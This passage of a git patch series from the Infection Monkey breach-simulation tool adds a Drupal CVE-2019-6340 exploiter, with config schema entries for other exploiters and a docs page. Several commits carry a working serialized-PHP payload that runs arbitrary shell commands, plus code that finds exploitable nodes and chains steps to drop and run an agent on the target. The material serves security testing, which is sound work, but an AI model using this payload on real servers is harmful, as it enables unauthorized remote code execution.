"Tries to brute force into MsSQL server and uses insecure " + "configuration to execute commands on server.", + "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/mssql/" + }, + { + "type": "string", + "enum": [ + "Ms08_067_Exploiter" + ], + "title": "MS08-067 Exploiter (UNSAFE)", + "info": "Unsafe exploiter, that might cause system crash due to the use of buffer overflow. " + "Uses MS08-067 vulnerability.", + "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/ms08-067/" + }, + { + "type": "string", + "enum": [ + "SSHExploiter" + ], + "title": "SSH Exploiter", + "attack_techniques": ["T1110", "T1145", "T1106"], + "info": "Brute forces using credentials provided by user and SSH keys gathered from systems.", + "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/sshexec/" + }, + { + "type": "string", + "enum": [ + "ShellShockExploiter" + ], + "title": "ShellShock Exploiter", + "info": "CVE-2014-6271, based on logic from " + "https://github.com/nccgroup/shocker/blob/master/shocker.py .", + "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/shellshock/" + }, + { + "type": "string", + "enum": [ + "SambaCryExploiter" + ], + "title": "SambaCry Exploiter", + "info": "Bruteforces and searches for anonymous shares. Uses Impacket.", + "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/sambacry/" + }, + { + "type": "string", + "enum": [ + "ElasticGroovyExploiter" + ], + "title": "ElasticGroovy Exploiter", + "info": "CVE-2015-1427. Logic is based on Metasploit module.", + "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/elasticgroovy/" + }, + { + "type": "string", + "enum": [ + "Struts2Exploiter" + ], + "title": "Struts2 Exploiter", + "info": "Exploits struts2 java web framework. CVE-2017-5638. Logic based on " + "https://www.exploit-db.com/exploits/41570 .", + "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/struts2/" + }, + { + "type": "string", + "enum": [ + "WebLogicExploiter" + ], + "title": "WebLogic Exploiter", + "info": "Exploits CVE-2017-10271 and CVE-2019-2725 vulnerabilities on WebLogic server.", + "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/weblogic/" + }, + { + "type": "string", + "enum": [ + "HadoopExploiter" + ], + "title": "Hadoop/Yarn Exploiter", + "info": "Remote code execution on HADOOP server with YARN and default settings. " + "Logic based on https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn.", + "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/hadoop/" + }, + { + "type": "string", + "enum": [ + "VSFTPDExploiter" + ], + "title": "VSFTPD Exploiter", + "info": "Exploits a malicious backdoor that was added to the VSFTPD download archive. " + "Logic based on Metasploit module.", + "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/vsftpd/" + }, + { + "type": "string", + "enum": [ + "DrupalExploiter" + ], + "title": "Drupal Exploiter", + "info": "Exploits a remote command execution vulnerability", + "link": "" + } + ] +} From 1ae8ecff623e03baafca3727482bf6d05b17bb52 Mon Sep 17 00:00:00 2001 From: ophirharpazg Date: Mon, 31 Aug 2020 16:40:21 +0300 Subject: [PATCH 09/32] Move remote_port to a designated file and add UT --- monkey/common/network/network_utils.py | 8 ++++++++ monkey/common/network/test_network_utils.py | 9 +++++++-- monkey/infection_monkey/exploit/drupal.py | 11 ++--------- 3 files changed, 17 insertions(+), 11 deletions(-) diff --git a/monkey/common/network/network_utils.py b/monkey/common/network/network_utils.py index 230e494bf..859bafb1f 100644 --- a/monkey/common/network/network_utils.py +++ b/monkey/common/network/network_utils.py @@ -1,3 +1,4 @@ +import re from urllib.parse import urlparse @@ -10,3 +11,10 @@ def get_host_from_network_location(network_location: str) -> str: """ url = urlparse("http://" + network_location) return str(url.hostname) + + +def remove_port(url): + parsed = urlparse(url) + with_port = f'{parsed.scheme}://{parsed.netloc}' + without_port = re.sub(':[0-9]+$', '', with_port) + return without_port diff --git a/monkey/common/network/test_network_utils.py b/monkey/common/network/test_network_utils.py index b4194aa27..2351eba0e 100644 --- a/monkey/common/network/test_network_utils.py +++ b/monkey/common/network/test_network_utils.py @@ -1,12 +1,17 @@ from unittest import TestCase -from common.network.network_utils import get_host_from_network_location +from common.network.network_utils import get_host_from_network_location, remove_port class TestNetworkUtils(TestCase): - def test_remove_port_from_ip_string(self): + def test_get_host_from_network_location(self): assert get_host_from_network_location("127.0.0.1:12345") == "127.0.0.1" assert get_host_from_network_location("127.0.0.1:12345") == "127.0.0.1" assert get_host_from_network_location("127.0.0.1") == "127.0.0.1" assert get_host_from_network_location("www.google.com:8080") == "www.google.com" assert get_host_from_network_location("user:password@host:8080") == "host" + + def test_remove_port_from_url(self): + assert remove_port('https://google.com:80') == 'https://google.com' + assert remove_port('https://8.8.8.8:65336') == 'https://8.8.8.8' + assert remove_port('ftp://ftpserver.com:21/hello/world') == 'ftp://ftpserver.com' diff --git a/monkey/infection_monkey/exploit/drupal.py b/monkey/infection_monkey/exploit/drupal.py index 31b7a4cd2..c1b749ad9 100644 --- a/monkey/infection_monkey/exploit/drupal.py +++ b/monkey/infection_monkey/exploit/drupal.py @@ -5,23 +5,16 @@ Implementation is based on: """ import logging -import re import requests -from urllib.parse import urljoin, urlparse +from urllib.parse import urljoin from infection_monkey.exploit.web_rce import WebRCE +from network.network_utils import remove_port __author__ = 'Ophir Harpaz' LOG = logging.getLogger(__name__) -def remove_port(url): - parsed = urlparse(url) - with_port = f'{parsed.scheme}://{parsed.netloc}' - without_port = re.sub(':[0-9]+$', '', with_port) - return without_port - - def build_url(*args) -> str: f = '' for x in args: From c9ea95110ccf3079866bae9ef073487d774771b4 Mon Sep 17 00:00:00 2001 From: ophirharpazg Date: Mon, 31 Aug 2020 16:52:10 +0300 Subject: [PATCH 10/32] remove unnecessary function and replace with urljoin --- monkey/infection_monkey/exploit/drupal.py | 11 ++--------- 1 file changed, 2 insertions(+), 9 deletions(-) diff --git a/monkey/infection_monkey/exploit/drupal.py b/monkey/infection_monkey/exploit/drupal.py index c1b749ad9..06cd17e54 100644 --- a/monkey/infection_monkey/exploit/drupal.py +++ b/monkey/infection_monkey/exploit/drupal.py @@ -15,13 +15,6 @@ __author__ = 'Ophir Harpaz' LOG = logging.getLogger(__name__) -def build_url(*args) -> str: - f = '' - for x in args: - f = urljoin(f, x) - return f - - def check_drupal_cache(r: requests.Response) -> bool: """ Check if a response had the cache header. @@ -33,7 +26,7 @@ def find_articles(base_url: str, lower: int = 1, upper: int = 10): """ Find a target article that does not 404 and is not cached """ articles = set() while lower < upper: - u = build_url(base_url, str(lower)) + u = urljoin(base_url, str(lower)) r = requests.get(u) if r.status_code == 200: # found an article articles.add(lower) @@ -75,7 +68,7 @@ class DrupalExploiter(WebRCE): LOG.info('Could not find a Drupal node to attack') continue for node_id in node_ids: - node_url = build_url(url, str(node_id)) + node_url = urljoin(url, str(node_id)) if self.check_if_exploitable(node_url): self.add_vuln_url(url) # Where is this used? self.vulnerable_urls.append(node_url) From b82a6e48b285f8e0e3ecde79a3da3b3bd2d4ed52 Mon Sep 17 00:00:00 2001 From: ophirharpazg Date: Mon, 31 Aug 2020 17:55:04 +0300 Subject: [PATCH 11/32] use ID_STRING instead of dashes --- monkey/infection_monkey/exploit/drupal.py | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/monkey/infection_monkey/exploit/drupal.py b/monkey/infection_monkey/exploit/drupal.py index 06cd17e54..fa5222146 100644 --- a/monkey/infection_monkey/exploit/drupal.py +++ b/monkey/infection_monkey/exploit/drupal.py @@ -8,6 +8,7 @@ import logging import requests from urllib.parse import urljoin from infection_monkey.exploit.web_rce import WebRCE +from infection_monkey.model import ID_STRING from network.network_utils import remove_port __author__ = 'Ophir Harpaz' @@ -70,7 +71,7 @@ class DrupalExploiter(WebRCE): for node_id in node_ids: node_url = urljoin(url, str(node_id)) if self.check_if_exploitable(node_url): - self.add_vuln_url(url) # Where is this used? + self.add_vuln_url(url) # This is for report. Should be refactored in the future self.vulnerable_urls.append(node_url) if stop_checking: break @@ -114,7 +115,7 @@ class DrupalExploiter(WebRCE): def exploit(self, url, command): # pad a easy search replace output: - cmd = 'echo ---- && ' + command + cmd = f'echo {ID_STRING} && {command}' base = remove_port(url) payload = { "link": [ @@ -145,10 +146,10 @@ class DrupalExploiter(WebRCE): if check_drupal_cache(r): LOG.info(f'Exploiting {url} returned cache HIT, may have failed') - if '----' not in r.text: - LOG.info('[warn] Command execution _may_ have failed') + if ID_STRING not in r.text: + LOG.warning('Command execution _may_ have failed') - result = r.text.split('----')[-1] + result = r.text.split(ID_STRING)[-1] LOG.info(f'Drupal exploit result = {result}') return result From 6184400f514de122cb88d9b41d85758d369e9b37 Mon Sep 17 00:00:00 2001 From: ophirharpazg Date: Mon, 31 Aug 2020 17:55:24 +0300 Subject: [PATCH 12/32] mention Drupal REST API requirement --- .../ui/src/components/report-components/SecurityReport.js | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js index d5bfff63a..250f90546 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js @@ -793,10 +793,9 @@ class ReportPageComponent extends AuthComponent { className="badge badge-info" style={{margin: '2px'}}>{issue.ip_address}) is vulnerable to remote command execution attack.
        - The attack was made possible because the server is using an old version of Drupal. - For possible workarounds and more info read here. + The attack was made possible because the server is using an old version of Drupal, for which REST API is + enabled. For possible workarounds and more info read + here. ); From cec57c1604faf60458d1c493bac019f70f8dea31 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Tue, 1 Sep 2020 11:48:06 +0300 Subject: [PATCH 13/32] Update minor things in order to pass CI build --- monkey/common/network/test_network_utils.py | 3 ++- monkey/infection_monkey/exploit/drupal.py | 24 +++++++++++---------- 2 files changed, 15 insertions(+), 12 deletions(-) diff --git a/monkey/common/network/test_network_utils.py b/monkey/common/network/test_network_utils.py index 2351eba0e..3ee696a93 100644 --- a/monkey/common/network/test_network_utils.py +++ b/monkey/common/network/test_network_utils.py @@ -1,6 +1,7 @@ from unittest import TestCase -from common.network.network_utils import get_host_from_network_location, remove_port +from common.network.network_utils import (get_host_from_network_location, + remove_port) class TestNetworkUtils(TestCase): diff --git a/monkey/infection_monkey/exploit/drupal.py b/monkey/infection_monkey/exploit/drupal.py index fa5222146..1ed0d499e 100644 --- a/monkey/infection_monkey/exploit/drupal.py +++ b/monkey/infection_monkey/exploit/drupal.py @@ -5,11 +5,13 @@ Implementation is based on: """ import logging -import requests from urllib.parse import urljoin + +import requests + +from common.network.network_utils import remove_port from infection_monkey.exploit.web_rce import WebRCE from infection_monkey.model import ID_STRING -from network.network_utils import remove_port __author__ = 'Ophir Harpaz' @@ -102,15 +104,15 @@ class DrupalExploiter(WebRCE): "value": "" } } - + response = requests.get(f'{url}?_format=hal_json', json=payload, headers={"Content-Type": "application/hal+json"}) - + if check_drupal_cache(response): LOG.info(f'Checking if node {url} is vuln returned cache HIT, ignoring') return False - + return 'INVALID_VALUE does not correspond to an entity on this site' in response.text def exploit(self, url, command): @@ -138,21 +140,21 @@ class DrupalExploiter(WebRCE): } } } - + LOG.info(payload) - + r = requests.get(f'{url}?_format=hal_json', json=payload, headers={"Content-Type": "application/hal+json"}) - + if check_drupal_cache(r): LOG.info(f'Exploiting {url} returned cache HIT, may have failed') - + if ID_STRING not in r.text: LOG.warning('Command execution _may_ have failed') - + result = r.text.split(ID_STRING)[-1] LOG.info(f'Drupal exploit result = {result}') return result - + def get_target_url(self): """ We're overriding this method such that every time self.exploit is invoked, we use a fresh vulnerable URL. From 6e2678473caaf5d10dacc0fa501db7bd89139fd1 Mon Sep 17 00:00:00 2001 From: ophirharpazg Date: Tue, 1 Sep 2020 11:53:38 +0300 Subject: [PATCH 14/32] rename function that finds vulnerable node IDs --- monkey/infection_monkey/exploit/drupal.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/exploit/drupal.py b/monkey/infection_monkey/exploit/drupal.py index 1ed0d499e..63aa5fb97 100644 --- a/monkey/infection_monkey/exploit/drupal.py +++ b/monkey/infection_monkey/exploit/drupal.py @@ -25,8 +25,8 @@ def check_drupal_cache(r: requests.Response) -> bool: return 'X-Drupal-Cache' in r.headers and r.headers['X-Drupal-Cache'] == 'HIT' -def find_articles(base_url: str, lower: int = 1, upper: int = 10): - """ Find a target article that does not 404 and is not cached """ +def find_exploitbale_article_ids(base_url: str, lower: int = 1, upper: int = 10) -> set: + """ Find target articles that do not 404 and are not cached """ articles = set() while lower < upper: u = urljoin(base_url, str(lower)) @@ -66,7 +66,7 @@ class DrupalExploiter(WebRCE): :return: None (in-place addition) """ for url in potential_urls: - node_ids = find_articles(url) + node_ids = find_exploitbale_article_ids(url) if node_ids is None: LOG.info('Could not find a Drupal node to attack') continue From f31186272f42252efe0d4c0c23758b834f054179 Mon Sep 17 00:00:00 2001 From: ophirharpazg Date: Tue, 1 Sep 2020 12:07:29 +0300 Subject: [PATCH 15/32] fixed logic and name in finding exploitable nodes --- monkey/infection_monkey/exploit/drupal.py | 23 +++++++++++------------ 1 file changed, 11 insertions(+), 12 deletions(-) diff --git a/monkey/infection_monkey/exploit/drupal.py b/monkey/infection_monkey/exploit/drupal.py index 63aa5fb97..b40a6476e 100644 --- a/monkey/infection_monkey/exploit/drupal.py +++ b/monkey/infection_monkey/exploit/drupal.py @@ -18,10 +18,8 @@ __author__ = 'Ophir Harpaz' LOG = logging.getLogger(__name__) -def check_drupal_cache(r: requests.Response) -> bool: - """ - Check if a response had the cache header. - """ +def is_response_cached(r: requests.Response) -> bool: + """ Check if a response had the cache header. """ return 'X-Drupal-Cache' in r.headers and r.headers['X-Drupal-Cache'] == 'HIT' @@ -29,12 +27,13 @@ def find_exploitbale_article_ids(base_url: str, lower: int = 1, upper: int = 10) """ Find target articles that do not 404 and are not cached """ articles = set() while lower < upper: - u = urljoin(base_url, str(lower)) - r = requests.get(u) - if r.status_code == 200: # found an article - articles.add(lower) - if check_drupal_cache(r): - LOG.info(f'Found a cached article at: {lower}, skipping') + node_url = urljoin(base_url, str(lower)) + response = requests.get(node_url) + if response.status_code == 200: + if is_response_cached(response): + LOG.info(f'Found a cached article at: {node_url}, skipping') + else: + articles.add(lower) lower += 1 return articles @@ -109,7 +108,7 @@ class DrupalExploiter(WebRCE): json=payload, headers={"Content-Type": "application/hal+json"}) - if check_drupal_cache(response): + if is_response_cached(response): LOG.info(f'Checking if node {url} is vuln returned cache HIT, ignoring') return False @@ -145,7 +144,7 @@ class DrupalExploiter(WebRCE): r = requests.get(f'{url}?_format=hal_json', json=payload, headers={"Content-Type": "application/hal+json"}) - if check_drupal_cache(r): + if is_response_cached(r): LOG.info(f'Exploiting {url} returned cache HIT, may have failed') if ID_STRING not in r.text: From cf776063afaa7842ea1a31f8ba461793d2bf3e25 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Tue, 1 Sep 2020 12:17:01 +0300 Subject: [PATCH 16/32] Reformat + extract payload building to functions --- monkey/infection_monkey/exploit/drupal.py | 126 ++++++++++++---------- 1 file changed, 68 insertions(+), 58 deletions(-) diff --git a/monkey/infection_monkey/exploit/drupal.py b/monkey/infection_monkey/exploit/drupal.py index 1ed0d499e..3e23ece6d 100644 --- a/monkey/infection_monkey/exploit/drupal.py +++ b/monkey/infection_monkey/exploit/drupal.py @@ -18,27 +18,6 @@ __author__ = 'Ophir Harpaz' LOG = logging.getLogger(__name__) -def check_drupal_cache(r: requests.Response) -> bool: - """ - Check if a response had the cache header. - """ - return 'X-Drupal-Cache' in r.headers and r.headers['X-Drupal-Cache'] == 'HIT' - - -def find_articles(base_url: str, lower: int = 1, upper: int = 10): - """ Find a target article that does not 404 and is not cached """ - articles = set() - while lower < upper: - u = urljoin(base_url, str(lower)) - r = requests.get(u) - if r.status_code == 200: # found an article - articles.add(lower) - if check_drupal_cache(r): - LOG.info(f'Found a cached article at: {lower}, skipping') - lower += 1 - return articles - - class DrupalExploiter(WebRCE): _TARGET_OS_TYPE = ['linux', 'windows'] _EXPLOITED_SERVICE = 'Drupal Server' @@ -88,22 +67,7 @@ class DrupalExploiter(WebRCE): :param url: Drupal's URL and port :return: Vulnerable URL if exploitable, otherwise False """ - payload = { - "_links": { - "type": { - "href": f"{urljoin(url, '/rest/type/node/INVALID_VALUE')}" - } - }, - "type": { - "target_id": "article" - }, - "title": { - "value": "My Article" - }, - "body": { - "value": "" - } - } + payload = build_exploitability_check_payload(url) response = requests.get(f'{url}?_format=hal_json', json=payload, @@ -119,27 +83,7 @@ class DrupalExploiter(WebRCE): # pad a easy search replace output: cmd = f'echo {ID_STRING} && {command}' base = remove_port(url) - payload = { - "link": [ - { - "value": "link", - "options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000" - "GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"" - "close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:" - "{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";" - "s:|size|:\"|command|\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000" - "stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000" - "GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"" - "resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}" - "".replace('|size|', str(len(cmd))).replace('|command|', cmd) - } - ], - "_links": { - "type": { - "href": f"{urljoin(base, '/rest/type/shortcut/default')}" - } - } - } + payload = build_cmd_execution_payload(base, cmd) LOG.info(payload) @@ -162,3 +106,69 @@ class DrupalExploiter(WebRCE): :return: vulnerable URL to exploit """ return self.vulnerable_urls.pop() + + +def check_drupal_cache(r: requests.Response) -> bool: + """ + Check if a response had the cache header. + """ + return 'X-Drupal-Cache' in r.headers and r.headers['X-Drupal-Cache'] == 'HIT' + + +def find_articles(base_url: str, lower: int = 1, upper: int = 10): + """ Find a target article that does not 404 and is not cached """ + articles = set() + while lower < upper: + u = urljoin(base_url, str(lower)) + r = requests.get(u) + if r.status_code == 200: # found an article + articles.add(lower) + if check_drupal_cache(r): + LOG.info(f'Found a cached article at: {lower}, skipping') + lower += 1 + return articles + + +def build_exploitability_check_payload(url): + payload = { + "_links": { + "type": { + "href": f"{urljoin(url, '/rest/type/node/INVALID_VALUE')}" + } + }, + "type": { + "target_id": "article" + }, + "title": { + "value": "My Article" + }, + "body": { + "value": "" + } + } + return payload + + +def build_cmd_execution_payload(base, cmd): + payload = { + "link": [ + { + "value": "link", + "options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000" + "GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"" + "close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:" + "{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";" + "s:|size|:\"|command|\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000" + "stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000" + "GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"" + "resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}" + "".replace('|size|', str(len(cmd))).replace('|command|', cmd) + } + ], + "_links": { + "type": { + "href": f"{urljoin(base, '/rest/type/shortcut/default')}" + } + } + } + return payload From 9fcf2fe0e63dbacdd959be8e33582846aa690ff6 Mon Sep 17 00:00:00 2001 From: ophirharpazg Date: Tue, 1 Sep 2020 12:39:14 +0300 Subject: [PATCH 17/32] improve the check of sufficient URLs for the attack --- monkey/infection_monkey/exploit/drupal.py | 9 +++++++++ monkey/infection_monkey/exploit/web_rce.py | 11 ++++++++++- 2 files changed, 19 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/drupal.py b/monkey/infection_monkey/exploit/drupal.py index 113788993..c4c834559 100644 --- a/monkey/infection_monkey/exploit/drupal.py +++ b/monkey/infection_monkey/exploit/drupal.py @@ -106,6 +106,15 @@ class DrupalExploiter(WebRCE): :return: vulnerable URL to exploit """ return self.vulnerable_urls.pop() + + def are_vulnerable_urls_sufficient(self): + """ + For the Drupal exploit, 5 distinct URLs are needed to perform the full attack. + :return: Whether the list of vulnerable URLs has at least 5 elements. + """ + # We need 5 URLs for a "full-chain": check remote files, check architecture, drop monkey, chmod it and run it. + num_urls_needed_for_full_exploit = 5 + return len(self.vulnerable_urls) > num_urls_needed_for_full_exploit def is_response_cached(r: requests.Response) -> bool: diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py index 833023141..0f489d0a6 100644 --- a/monkey/infection_monkey/exploit/web_rce.py +++ b/monkey/infection_monkey/exploit/web_rce.py @@ -92,7 +92,7 @@ class WebRCE(HostExploiter): potential_urls = self.build_potential_urls(ports, exploit_config['url_extensions']) self.add_vulnerable_urls(potential_urls, exploit_config['stop_checking_urls']) - if not self.vulnerable_urls: + if not self.are_vulnerable_urls_sufficient(): return False self.target_url = self.get_target_url() @@ -517,3 +517,12 @@ class WebRCE(HostExploiter): :return: a vulnerable URL """ return self.vulnerable_urls[0] + + def are_vulnerable_urls_sufficient(self): + """ + Determine whether the number of vulnerable URLs is sufficient in order to perform the full attack. + Often, a single URL will suffice. However, in some cases (e.g. the Drupal exploit) a vulnerable URL is for + single use, thus we need a couple of them. + :return: Whether or not a full attack can be performed using the available vulnerable URLs. + """ + return len(self.vulnerable_urls) > 0 From bdba20133d43989c37bf8ab15164ee25fdf5678a Mon Sep 17 00:00:00 2001 From: ophirharpazg Date: Tue, 1 Sep 2020 12:39:36 +0300 Subject: [PATCH 18/32] retore the upper bound from the original exploit implementation --- monkey/infection_monkey/exploit/drupal.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/drupal.py b/monkey/infection_monkey/exploit/drupal.py index c4c834559..33321052e 100644 --- a/monkey/infection_monkey/exploit/drupal.py +++ b/monkey/infection_monkey/exploit/drupal.py @@ -122,7 +122,7 @@ def is_response_cached(r: requests.Response) -> bool: return 'X-Drupal-Cache' in r.headers and r.headers['X-Drupal-Cache'] == 'HIT' -def find_exploitbale_article_ids(base_url: str, lower: int = 1, upper: int = 10) -> set: +def find_exploitbale_article_ids(base_url: str, lower: int = 1, upper: int = 100) -> set: """ Find target articles that do not 404 and are not cached """ articles = set() while lower < upper: From a7b84b966cd6e7929cc4ac850219f0c5f164e299 Mon Sep 17 00:00:00 2001 From: ophirharpazg Date: Tue, 1 Sep 2020 12:43:20 +0300 Subject: [PATCH 19/32] fix length check and add log --- monkey/infection_monkey/exploit/drupal.py | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/drupal.py b/monkey/infection_monkey/exploit/drupal.py index 33321052e..8d017fb31 100644 --- a/monkey/infection_monkey/exploit/drupal.py +++ b/monkey/infection_monkey/exploit/drupal.py @@ -114,7 +114,12 @@ class DrupalExploiter(WebRCE): """ # We need 5 URLs for a "full-chain": check remote files, check architecture, drop monkey, chmod it and run it. num_urls_needed_for_full_exploit = 5 - return len(self.vulnerable_urls) > num_urls_needed_for_full_exploit + num_available_urls = len(self.vulnerable_urls) + result = num_available_urls >= num_urls_needed_for_full_exploit + if not result: + LOG.info(f'{num_urls_needed_for_full_exploit} URLs are needed to fully exploit a Drupal server ' + f'but only {num_available_urls} found') + return result def is_response_cached(r: requests.Response) -> bool: From 0eb31a927d76a6a5db33d7d88369d6e60256ba07 Mon Sep 17 00:00:00 2001 From: ophirharpazg Date: Tue, 1 Sep 2020 14:00:58 +0300 Subject: [PATCH 20/32] add basic Drupal docs page --- docs/content/reference/exploiters/Drupal.md | 31 +++++++++++++++++++++ 1 file changed, 31 insertions(+) create mode 100644 docs/content/reference/exploiters/Drupal.md diff --git a/docs/content/reference/exploiters/Drupal.md b/docs/content/reference/exploiters/Drupal.md new file mode 100644 index 000000000..ac085931f --- /dev/null +++ b/docs/content/reference/exploiters/Drupal.md @@ -0,0 +1,31 @@ +--- +title: "Drupal" +date: 2020-09-01T08:42:46+03:00 +draft: false +tags: ["exploit", "linux", "windows"] +--- + +The Drupal exploiter exploits [CVE-2019-6340](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-6340) +on a vulnerable Drupal server. + +### Description + +Some field types do not properly sanitize data from non-form sources in certain versions +of Drupal server. This can lead to arbitrary PHP code execution in some cases. + + +### Affected Versions + +* Drupal 8.5.x before 8.5.11 and Drupal 8.6.x before 8.6.10. +* The site has the Drupal 8 core RESTful Web Services (rest) module enabled and allows PATCH +or POST requests; OR +* The site has another web services module enabled, like JSON:API in +Drupal 8, or Services or RESTful Web Services in Drupal 7. + + +### Notes + +* The _Infection Monkey_ exploiter implementation is based on an open-source +[Python implementation](https://gist.github.com/leonjza/d0ab053be9b06fa020b66f00358e3d88/f9f6a5bb6605745e292bee3a4079f261d891738a) +of the exploit by @leonjza. +* For the full attack to work, more than one vulnerable URL is required. \ No newline at end of file From 7288fb9814ec962e9ef320d201c2d82c58c2fc27 Mon Sep 17 00:00:00 2001 From: ophirharpazg Date: Tue, 1 Sep 2020 14:16:22 +0300 Subject: [PATCH 21/32] fix Docs page and add to report --- docs/content/reference/exploiters/Drupal.md | 8 ++++++-- .../config_schema/definitions/exploiter_classes.py | 2 +- 2 files changed, 7 insertions(+), 3 deletions(-) diff --git a/docs/content/reference/exploiters/Drupal.md b/docs/content/reference/exploiters/Drupal.md index ac085931f..df600b2cb 100644 --- a/docs/content/reference/exploiters/Drupal.md +++ b/docs/content/reference/exploiters/Drupal.md @@ -11,12 +11,16 @@ on a vulnerable Drupal server. ### Description Some field types do not properly sanitize data from non-form sources in certain versions -of Drupal server. This can lead to arbitrary PHP code execution in some cases. +of Drupal server. + +This can lead to arbitrary PHP code execution in some cases. ### Affected Versions * Drupal 8.5.x before 8.5.11 and Drupal 8.6.x before 8.6.10. + +One of the following conditions must hold: * The site has the Drupal 8 core RESTful Web Services (rest) module enabled and allows PATCH or POST requests; OR * The site has another web services module enabled, like JSON:API in @@ -25,7 +29,7 @@ Drupal 8, or Services or RESTful Web Services in Drupal 7. ### Notes -* The _Infection Monkey_ exploiter implementation is based on an open-source +* The Infection Monkey exploiter implementation is based on an open-source [Python implementation](https://gist.github.com/leonjza/d0ab053be9b06fa020b66f00358e3d88/f9f6a5bb6605745e292bee3a4079f261d891738a) of the exploit by @leonjza. * For the full attack to work, more than one vulnerable URL is required. \ No newline at end of file diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py b/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py index 130171877..58672571b 100644 --- a/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py +++ b/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py @@ -133,7 +133,7 @@ EXPLOITER_CLASSES = { ], "title": "Drupal Exploiter", "info": "Exploits a remote command execution vulnerability", - "link": "" + "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/drupal/" } ] } From afcbbb880cd7ad2f29c67bdd93a87486fb37b865 Mon Sep 17 00:00:00 2001 From: ophirharpazg Date: Tue, 1 Sep 2020 14:23:52 +0300 Subject: [PATCH 22/32] add to exploiter info --- .../cc/services/config_schema/definitions/exploiter_classes.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py b/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py index 58672571b..0a5e671a3 100644 --- a/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py +++ b/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py @@ -132,7 +132,8 @@ EXPLOITER_CLASSES = { "DrupalExploiter" ], "title": "Drupal Exploiter", - "info": "Exploits a remote command execution vulnerability", + "info": "Exploits a remote command execution vulnerability in a Drupal server," + "for which certain modules (such as RESTful Web Services) are enabled.", "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/drupal/" } ] From 4de9e92ce2bebcfb192545cbe93bb276308c12b8 Mon Sep 17 00:00:00 2001 From: ophirharpazg Date: Tue, 1 Sep 2020 14:51:01 +0300 Subject: [PATCH 23/32] I seriously have no idea how this happened MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit (*/ω\*) --- monkey/monkey_island/cc/services/config.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index 02dd91381..10ce690c0 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -218,7 +218,7 @@ class ConfigService: def set_server_ips_in_config(config): ips = local_ip_addresses() config["internal"]["island_server"]["command_servers"] = \ - ["%s:%d" % (ip, env_singleton.env.get_islaned_port()) for ip in ips] + ["%s:%d" % (ip, env_singleton.env.get_island_port()) for ip in ips] config["internal"]["island_server"]["current_server"] = "%s:%d" % (ips[0], env_singleton.env.get_island_port()) @staticmethod From ac731f5736b608014f55826f0fae7338d979777c Mon Sep 17 00:00:00 2001 From: ophirharpazg Date: Tue, 1 Sep 2020 14:57:22 +0300 Subject: [PATCH 24/32] Remove redundant logs --- monkey/infection_monkey/exploit/drupal.py | 3 --- 1 file changed, 3 deletions(-) diff --git a/monkey/infection_monkey/exploit/drupal.py b/monkey/infection_monkey/exploit/drupal.py index 